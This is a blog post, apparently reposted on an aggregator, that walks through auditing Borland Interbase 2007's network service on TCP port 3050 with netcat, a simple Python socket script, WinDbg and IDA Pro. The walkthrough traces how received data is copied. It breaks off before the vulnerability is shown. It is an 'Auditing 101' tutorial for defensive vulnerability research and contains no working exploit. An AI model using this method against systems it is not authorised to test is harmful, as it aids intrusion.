Step by Step of How TPTI-07-013 was Discovered

来源:互联网 发布:心电图数据正常值 编辑:程序博客网 时间:2024/05/21 14:41
So one of our advisories, TPTI-07-013 went out today. The issue is a remote code execution in Borland Interbase 2007. This is an interesting target for us because we accidentally stumbled on it. The story goes like this...

I was up late on wednesday night, as usual since we are all up late on wednesday nights, and decided to take a look at BakBone NetVault. Upon installing NetVault, I noticed a process listening on TCP port 3050. This process turned out to be the "Firebird SQL Server". When I found a vulnerability in that process, TPTI-07-11, I did some research on what Firebird SQL is. It turns out that at one point Borland open sourced Interbase. This is when the guys at Firebird decided to branch that source tree and start a free, open source version under the Firebird SQL moniker. So hey, if one product has a vulnerability, and it was forked from another products source, then maybe we should look at the other vendor. That's where Borland Interbase 2007 comes in. Since it has the same code base, I downloaded a trial and decided to play with it for a few minutes.

So what im trying to do in this blog post is go over how I found this bug. Hopefully some of this will serve as a "Auditing 101" how-to for network services. This bug was fairly easy to find, and should be good practice. Hey, maybe it will help you find other Interbase bugs.

After installing software to audit, I pull up TCPView to see which processes are listening on which ports.



As we see, TCP port 3050 is open (just like the FirebirdSQL server fbserver.exe). At this point, I try and connect to that port via netcat from another box. In this case, I have Interbase in a virtual machine so it's simple.
C:\>nc 10.1.1.132 3050aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^CC:\>
The reason for the a's is not a cheap key repeat fuzzer, but a way to see if a service is only expecting a few bytes. For instance, a process may expect multiple packets, or work in a send/receive method. If the socket is closed after 12 "a"'s then I gain a little more understanding of what's going on. In this case, however, I manually closed the socket after a few bytes because obviously it is expecting more than I am willing to type manually.

At this point, I know that we can reach the socket from a remote machine. I also know my connection will actually accept data, which is good, because in some situations, a socket may be listening but won't receive any data from a remote machine (the socket will be closed after checking which host has connected via accept()). Since we can communicate over the network, I need a method for programatically accessing this service and manipulating the data being sent over the wire. Let's write a cheap Python script to do this.
#!/usr/bin/env pythonimport sockethost = "10.1.1.132"port = 3050s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print "[*] Connecting to [%s:%d]" % (host, port)s.connect((host, port))buffer = "A" * 20print "[*] Sending [%s]" % buffers.send(buffer)print "[*] Closing socket"s.close()
This is pretty simple and doesn't contain any error checking, but we're not really worried about that right now. When ran, we see the process on the target machine handle the request properly. Even increasing the sent buffer to 0x5000 does nothing. That's ok, we must be dealing with something a *little* more complex (cat /dev/urandom 4lyfe).

At this point we need a debugger. With the debugger, we can inspect futher how data is being taken from the socket and used. In most cases you will want to do this step with any network service. Data has to get to the process somehow, and we want to be there when it happens. So on to our trusty WinDbg...



Now that we are attached, we are going to break on the common Win32 API calls for receiving network input. The most common are the recv family (Although there are a few other methods for receiving socket data). From here on out no more screen shots of WinDbg, that defeats the purpose of a command line debugger :).
0:005> bp ws2_32!recv0:005> bp wsock32!recv0:005> g
Wooh that was difficult. Lets send data.
C:\>ibserver.py[*] Connecting to [10.1.1.132:3050][*] Sending [AAAAAAAAAAAAAAAAAAAA][*] Closing socketC:\>
And what do you know...
Breakpoint 0 hiteax=000000b0 ebx=00aa0388 ecx=00a96652 edx=00a96554 esi=00aa0758 edi=00000000eip=71ab615a esp=010ed8e4 ebp=010efbcc iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202WS2_32!recv:71ab615a 8bff            mov     edi,edi0:003> kbChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.010ed8e0 004118c9 000000b0 00a96652 00002000 WS2_32!recv010efbcc 00411440 00a96554 00a96652 00002000 ibserver+0x118c9010efbf4 00410fa5 00a965d4 00000000 00aa0758 ibserver+0x11440010efc0c 00411008 00a965d4 010efc20 00000004 ibserver+0x10fa5010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b4
So this allows us to take a cursory look at how data comes off the socket. We can tell in WinDbg via the stack back trace that recv was called like this:
WS2_32!recv(SOCK s, char* buf, int len, int flags)WS2_32!recv(000000b0, 00a96652, 00002000, 00000000)
So we notice the call to recv is expecting up to 0x2000 bytes of data (thats a lot). Lets just continue on and see what code in ibserver.exe is responsible for calling recv on our socket.
0:003> gueax=00000014 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=004118c9 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x118c9:004118c9 898534ddffff    mov     dword ptr [ebp-22CCh],eax ss:0023:010ed900=00000000
The "gu" command will take us up to the previous call in the chain, effectively letting us return from the current function. Now that we are back in our target process (ibserver.exe), we will want to use something with a little better visual appeal. IDA Pro serves as the de-facto standard for reverse engineering. While I can do all of this in a debugger, the visualization and workflow available in IDA is unparalleled. I simply take the EIP from the debugger (0x004118c9) and drop that into IDA with my disassembled ibserver.exe binary.
0x004118B1 push    0                      ; flags0x004118B3 movsx   eax, [ebp+arg_8]0x004118B7 push    eax                    ; len0x004118B8 mov     ecx, [ebp+arg_4]0x004118BB push    ecx                    ; buf0x004118BC mov     edx, [ebp+arg_0]0x004118BF mov     eax, [edx+48h]0x004118C2 push    eax                    ; s0x004118C3 call    ds:recv0x004118C9 mov     [ebp+var_22CC], eax
Here we are, just as expected. For verifications sake you can also see all the arguments that were pushed to recv() before the call. Of note is the pointer being supplied to recv for our character buffer. Lets just take a look and make sure our data is sitting at that memory location. If you remember we can grab the location from our call chain we dumped in the recv break point.
0:003> dc 00a96652 00a96652  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA00a96662  41414141 00000000 00000000 00000000  AAAA............00a96672  00000000 00000000 00000000 00000000  ................00a96682  00000000 00000000 00000000 00000000  ................00a96692  00000000 00000000 00000000 00000000  ................00a966a2  00000000 00000000 00000000 00000000  ................00a966b2  00000000 00000000 00000000 00000000  ................00a966c2  00000000 00000000 00000000 00000000  ................
Yea that looks about right, notice the buffer has been zeroed out because recv was expecting more data. Looking at the disassembly of this function from where we are to the return, I can tell in a couple seconds that the rest of this function simply checks that:

a) recv() read data
b) There were not any socket errors
c) We have received more than 0 bytes from the socket

A keen observer following along will notice I didn't touch on the call to 0x44DBBBB (ive labeled it as "something" in the screen shot). I did briefly look at it, and since it does not receive arguments, and does a lot of mutex locking and thread management, I decided it will most likely not affect my data in any way. Many times you will have to make decisions like this, especially when reverse engineering more complex functions. Go with your instinct and look for clues in strings and library calls.



And a quick trace in WinDbg confirms this as well.
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=004118d4 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ibserver+0x118d4:004118d4 83bd34ddffffff  cmp     dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=000000140:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=004118db esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213ibserver+0x118db:004118db 7518            jne     ibserver+0x118f5 (004118f5)             [br=1]0:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=004118f5 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213ibserver+0x118f5:004118f5 eb05            jmp     ibserver+0x118fc (004118fc)0:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=004118fc esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213ibserver+0x118fc:004118fc 83bd34ddffff00  cmp     dword ptr [ebp-22CCh],0 ss:0023:010ed900=000000140:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411903 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11903:00411903 7f14            jg      ibserver+0x11919 (00411919)             [br=1]0:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411919 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11919:00411919 83bd34ddffffff  cmp     dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=000000140:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411920 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213ibserver+0x11920:00411920 751f            jne     ibserver+0x11941 (00411941)             [br=1]0:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411941 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz ac po cycs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213ibserver+0x11941:00411941 83bd34ddffff00  cmp     dword ptr [ebp-22CCh],0 ss:0023:010ed900=000000140:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411948 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11948:00411948 751a            jne     ibserver+0x11964 (00411964)             [br=1]0:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000eip=00411964 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11964:00411964 8b5514          mov     edx,dword ptr [ebp+14h] ss:0023:010efbe0=010efbe80:003> teax=00000000 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411967 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11967:00411967 668b8534ddffff  mov     ax,word ptr [ebp-22CCh]  ss:0023:010ed900=00140:003> teax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=0041196e esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1196e:0041196e 668902          mov     word ptr [edx],ax        ds:0023:010efbe8=20000:003> teax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411971 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11971:00411971 b801000000      mov     eax,10:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411976 esp=010ed8f8 ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11976:00411976 8be5            mov     esp,ebp0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411978 esp=010efbcc ebp=010efbcc iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11978:00411978 5d              pop     ebp0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411979 esp=010efbd0 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11979:00411979 c3              ret0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11440:00411440 83c410          add     esp,10h
Once again we will want to take the current EIP and follow it in our disassembly so we can get a better view of how the process is reacting to our user supplied data. This can also be done by using the call chain we dumped at our recv() breakpoint. Although in more complex situations tracing step by step like we are doing is the best method.

We are now looking at this block of code.
0x0041142D push    eax                               ; int0x0041142E mov     cx, word ptr [ebp+var_C]0x00411432 push    ecx                               ; __int160x00411433 mov     edx, [ebp+recv_buffer]0x00411436 push    edx                               ; recv_buffer0x00411437 mov     eax, [ebp+var_10]0x0041143A push    eax                               ; int0x0041143B call    wrapper_for_recv0x0041143B 0x00411440 add     esp, 10h
I have named the functions we just visited because I have a good idea what its purpose it. In some cases, I would make the function name a little more specific, but for this demonstration "wrapper_for_recv" is fine. Also note that I have labeled the pointer being supplied for the recv() call two functions down. This lets me quickly identify anytime my user supplied data is being accessed.

Again a cursory glance of this function we are currently in tells me not much is actually accessing our data. Looking at it briefly I see that our received bytes count is being stored, our recv_buffer is being adjusted accordingly and some structure pointers are being updated with this information. The specific details of this can be better seen in the debugger. Also I have noticed that when we successfully return from functions we are returning 1 (True) and when something is wrong we return 0 (False). This might help if I hit a basic block setting EAX to 0 before a return.



And like I mentioned in the debugger we can easily correlate this information.
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11440:00411440 83c410          add     esp,10h0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411443 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11443:00411443 85c0            test    eax,eax0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411445 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11445:00411445 7504            jne     ibserver+0x1144b (0041144b)             [br=1]0:003> teax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000eip=0041144b esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1144b:0041144b 0fbf4df4        movsx   ecx,word ptr [ebp-0Ch]   ss:0023:010efbe8=00140:003> teax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000eip=0041144f esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1144f:0041144f 85c9            test    ecx,ecx0:003> teax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411451 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11451:00411451 7c0e            jl      ibserver+0x11461 (00411461)             [br=0]0:003> teax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000eip=00411453 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11453:00411453 0fbf55f4        movsx   edx,word ptr [ebp-0Ch]   ss:0023:010efbe8=00140:003> teax=00000001 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000eip=00411457 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11457:00411457 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:010efbf0=00a966520:003> teax=00a96652 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000eip=0041145a esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1145a:0041145a 03c2            add     eax,edx0:003> teax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000eip=0041145c esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1145c:0041145c 8945fc          mov     dword ptr [ebp-4],eax ss:0023:010efbf0=00a966520:003> teax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000eip=0041145f esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1145f:0041145f eb26            jmp     ibserver+0x11487 (00411487)0:003> teax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000eip=00411487 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x11487:00411487 8b4df0          mov     ecx,dword ptr [ebp-10h] ss:0023:010efbe4=00a965540:003> teax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000014 esi=00aa0758 edi=00000000eip=0041148a esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1148a:0041148a 668b5132        mov     dx,word ptr [ecx+32h]    ds:0023:00a96586=04000:003> teax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000400 esi=00aa0758 edi=00000000eip=0041148e esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x1148e:0041148e 80ca04          or      dl,40:003> teax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000eip=00411491 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11491:00411491 8b45f0          mov     eax,dword ptr [ebp-10h] ss:0023:010efbe4=00a965540:003> teax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000eip=00411494 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11494:00411494 66895032        mov     word ptr [eax+32h],dx    ds:0023:00a96586=04000:003> teax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000eip=00411498 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x11498:00411498 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d40:003> teax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000404 esi=00aa0758 edi=00000000eip=0041149b esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1149b:0041149b 8b55fc          mov     edx,dword ptr [ebp-4] ss:0023:010efbf0=00a966660:003> teax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00a96666 esi=00aa0758 edi=00000000eip=0041149e esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202ibserver+0x1149e:0041149e 2b5110          sub     edx,dword ptr [ecx+10h] ds:0023:00a965e4=00a966520:003> teax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000eip=004114a1 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114a1:004114a1 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:010efbfc=00a965d40:003> teax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000eip=004114a4 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114a4:004114a4 895014          mov     dword ptr [eax+14h],edx ds:0023:00a965e8=000000000:003> teax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000eip=004114a7 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114a7:004114a7 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d40:003> teax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000eip=004114aa esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114aa:004114aa 8b5508          mov     edx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d40:003> teax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114ad esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114ad:004114ad 8b4210          mov     eax,dword ptr [edx+10h] ds:0023:00a965e4=00a966520:003> teax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114b0 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114b0:004114b0 89410c          mov     dword ptr [ecx+0Ch],eax ds:0023:00a965e0=00a966520:003> teax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114b3 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114b3:004114b3 b801000000      mov     eax,10:003> teax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114b8 esp=010efbe4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114b8:004114b8 8be5            mov     esp,ebp0:003> teax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114ba esp=010efbf4 ebp=010efbf4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114ba:004114ba 5d              pop     ebp0:003> teax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=004114bb esp=010efbf8 ebp=010efc0c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x114bb:004114bb c3              ret0:003> teax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000eip=00410fa5 esp=010efbfc ebp=010efc0c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206ibserver+0x10fa5:00410fa5 83c404          add     esp,4
So that seems to check out. I also am keeping in mind the fact that our previous call to recv() wanted more data than we supplied. In the future I will keep my eye on the number of bytes received (0x14) and see if the process ever checks it and loops if its less than another constant (0x2000 perhaps). This happens all the time when the process is *expecting* more data than is received, you will see what equates to a while loop with repeated calls to recv().

Just a quick side note, at each point where I return from a function, I am setting a "Mark" in IDA Pro (Atl-M). This lets me set points in the binary that are interesting and label them with useful notes. At any point during this I can simply access those marks (Ctrl-M) and remind myself what was going on if I need.

Continuing on we can see something interesting actually happening. In this function we see two things. We see our data being copied to a pointer passed to the function, and we also see this block being executed in a loop with another argument supplied as the counter. Heres the basic block copying our data.
0x00410FB0        loc_410FB0:                        ; CODE XREF: sub_410E46+154j0x00410FB0                                           ; sub_410E46+164j0x00410FB0 mov     ecx, [ebp+recv_info_struct]       ; a struct for our received data0x00410FB3 mov     edx, [ecx+0Ch]                    ; our user buffer0x00410FB6 mov     eax, [ebp+ptr_to_dword]0x00410FB9 mov     cl, [edx]                         ; read the first byte of our data0x00410FBB mov     [eax], cl                         ; store that byte0x00410FBD mov     edx, [ebp+ptr_to_dword]0x00410FC0 add     edx, 1                            ; add 1 to the dest ptr since we copied a byte0x00410FC3 mov     [ebp+ptr_to_dword], edx           ; store the new address0x00410FC6 mov     eax, [ebp+recv_info_struct]0x00410FC9 mov     ecx, [eax+0Ch]                    ; our buffer again0x00410FCC add     ecx, 1                            ; add one since we copied a byte0x00410FCF mov     edx, [ebp+recv_info_struct]0x00410FD2 mov     [edx+0Ch], ecx                    ; store the updated pointer0x00410FD5 mov     eax, [ebp+recv_info_struct]0x00410FD8 mov     ecx, [eax+14h]                    ; received bytes0x00410FDB sub     ecx, 1                            ; sub 1 since we processed 1 byte already0x00410FDE mov     edx, [ebp+recv_info_struct]0x00410FE1 mov     [edx+14h], ecx                    ; store the new value (0x13)0x00410FE4 jmp     short loc_410F84
As you can see by some of the comments, this is a simple copy routine that does a byte copy from our recv buffer to a pointer that was supplied to this particular function. The interesting thing to note is the "jmp short loc_410F84" which, if you notice, goes backwards.
0x00410F84        loc_410F84:                        ; CODE XREF: sub_410E46+F2j0x00410F84                                           ; sub_410E46+19Ej0x00410F84 mov     ecx, [ebp+loop_count]0x00410F87 sub     ecx, 10x00410F8A mov     [ebp+loop_count], ecx0x00410F8D cmp     [ebp+loop_count], 00x00410F91 jl      short loc_410FE6
Here is when we first see the dword argument used. As you can tell i've label it as a loop counter because it is being checked after each copy block until the argument (0x4) is less than 0. While we are still looping we hit this block.
0x00410F93 mov     edx, [ebp+recv_info_struct]0x00410F96 cmp     dword ptr [edx+14h], 0            ; received bytes0x00410F9A jnz     short loc_410FB0
This simply says while we have bytes remaining to be copied execute the copy basic block. And if you notice the jump lines up with our previous basic block responsible for copying a byte of data from our user supplied buffer to our argument. Ahhh the power of IDA's graph based display can help you visualize all this pretty well.



I wanted to take another side step here and discuss the recv_info_struct argument that is passed to this function. As we can see in several places, this is obviously a structure containing important data about our received buffer. Offsets like 0x0c and 0x14 are used to denote the address of our received data and the length of said data. We can gather that this may be an important structure because it is used consistently in this function and some of the previous functions. In normal cases it would be a good idea to go ahead and set up a structure and members in IDA's structure window. This will allow us to assign each of these members to the disassembly window for easier viewing. I would highly recommend this for especially complex structures that are being passed around in a binary. However for this quick audit i'm not bothering because I can recognize the two important members.

In WinDbg, we set a breakpoint after this loop to make sure all our static assumptions are correct. We can do this by looking at the disassembly and identifying the basic block before the function return.
0x00410FE6        loc_410FE6:                        ; CODE XREF: sub_410E46+14Bj0x00410FE6 mov     eax, 1
Setting our breakpoint.
0:003> bp 410FE60:003> gBreakpoint 2 hiteax=00a965d4 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000eip=00410fe6 esp=010efc00 ebp=010efc0c iopl=0         nv up ei ng nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286ibserver+0x10fe6:00410fe6 b801000000      mov     eax,1
Let's inspect our destination pointer and double check our work.
